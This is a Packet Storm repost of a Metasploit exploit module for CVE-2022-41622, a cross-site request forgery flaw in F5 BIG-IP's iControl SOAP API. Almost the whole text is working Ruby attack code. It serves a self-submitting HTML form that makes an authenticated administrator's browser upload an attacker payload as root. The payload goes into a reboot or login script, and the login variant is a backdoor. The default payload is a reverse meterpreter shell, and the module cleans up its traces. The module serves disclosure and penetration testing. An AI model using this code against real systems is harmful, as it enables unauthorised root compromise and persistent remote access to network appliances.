Lucene search

K
packetstormRon Bowes, metasploit.comPACKETSTORM:169967
HistoryNov 21, 2022 - 12:00 a.m.

F5 BIG-IP iControl Cross Site Request Forgery

2022-11-2100:00:00
Ron Bowes, metasploit.com
packetstormsecurity.com
247
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'F5 BIG-IP iControl CSRF File Write SOAP API',  
'Description' => %q{  
This module exploits a cross-site request forgery (CSRF) vulnerability  
in F5 Big-IP's iControl interface to write an arbitrary file to the  
filesystem.  
  
While any file can be written to any location as root, the  
exploitability is limited by SELinux; the vast majority of writable  
locations are unavailable. By default, we write to a script that  
executes at reboot, which means the payload will execute the next time  
the server boots.  
  
An alternate target - Login - will add a backdoor that executes next  
time a user logs in interactively. This overwrites a file,  
but we restore it when we get a session  
  
Note that because this is a CSRF vulnerability, it starts a web  
server, but an authenticated administrator must visit the site, which  
redirects them to the target.  
},  
'Author' => [  
'Ron Bowes' # Discovery, PoC, and module  
],  
'References' => [  
['CVE', '2022-41622'],  
['URL', 'https://github.com/rbowes-r7/refreshing-soap-exploit'],  
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],  
['URL', 'https://support.f5.com/csp/article/K97843387'],  
['URL', 'https://support.f5.com/csp/article/K94221585'],  
['URL', 'https://support.f5.com/csp/article/K05403841'],  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2022-11-16', # Vendor advisory  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD],  
'Type' => :unix_cmd,  
'Privileged' => true,  
'Targets' => [  
[ 'Restart', {}, ],  
[ 'Login', {}, ],  
[ 'Custom', {}, ]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS,  
ARTIFACTS_ON_DISK  
]  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGET_HOST', [true, 'The IP or domain name of the target F5 device']),  
OptString.new('TARGET_URI', [true, 'The URI of the SOAP API', '/iControl/iControlPortal.cgi']),  
OptBool.new('TARGET_SSL', [true, 'Use SSL for the upstream connection?', true]),  
OptString.new('FILENAME', [false, 'The file on the target to overwrite (for "custom" target) - note that SELinux prevents overwriting a great deal of useful files']),  
]  
)  
end  
  
def on_request_uri(socket, _request)  
if datastore['TARGET'] == 0 # restart  
filename = '/shared/f5_update_action'  
file_payload = <<~EOT  
UpdateAction  
https://localhost/success`#{payload.encoded}`  
https://localhost/error  
0  
0  
0  
0  
EOT  
  
# Delete the logfile if we get a session  
register_file_for_cleanup('/var/log/f5_update_checker.out')  
  
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted")  
elsif datastore['TARGET'] == 1 # login  
filename = '/var/run/config/timeout.sh'  
file_payload = "#{payload.encoded} & disown;"  
  
# Delete the backdoored file if we get a session.. this will be fixed at  
# next reboot  
register_file_for_cleanup('/var/run/config/timeout.sh')  
  
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively")  
else # Custom  
  
filename = datastore['FILENAME']  
file_payload = payload.encoded  
  
print_status("Redirecting the admin to overwrite #{filename} with the payload")  
end  
  
# Build the SOAP request that'll be sent to the target server  
csrf_payload = %(  
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">  
<soapenv:Header/>  
<soapenv:Body>  
<con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  
<file_name xsi:type="xsd:string">#{filename}</file_name>  
<file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">  
<!--type: Common.OctetSequence-->  
<file_data xsi:type="urn:Common.OctetSequence">#{Rex::Text.encode_base64(file_payload)}</file_data>  
<chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>  
</file_context>  
</con:upload_file>  
</soapenv:Body>  
</soapenv:Envelope>  
)  
  
# Build the target URL  
target_url = "#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}"  
  
# Build the HTML payload that'll send the SOAP request via the user's browser  
html_payload = %(  
<html>  
<body>  
<form action="#{target_url}" method="POST" enctype="text/plain">  
<textarea id="payload" name="<!--">-->#{Rex::Text.html_encode(csrf_payload)}</textarea>  
</form>  
<script>  
document.forms[0].submit();  
</script>  
</body>  
</html>  
)  
  
# Send the HTML to the browser  
send_response(socket, html_payload, { 'Content-Type' => 'text/html' })  
end  
  
def exploit  
# Sanity check  
if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?)  
fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME')  
end  
  
print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below')  
super  
end  
end  
`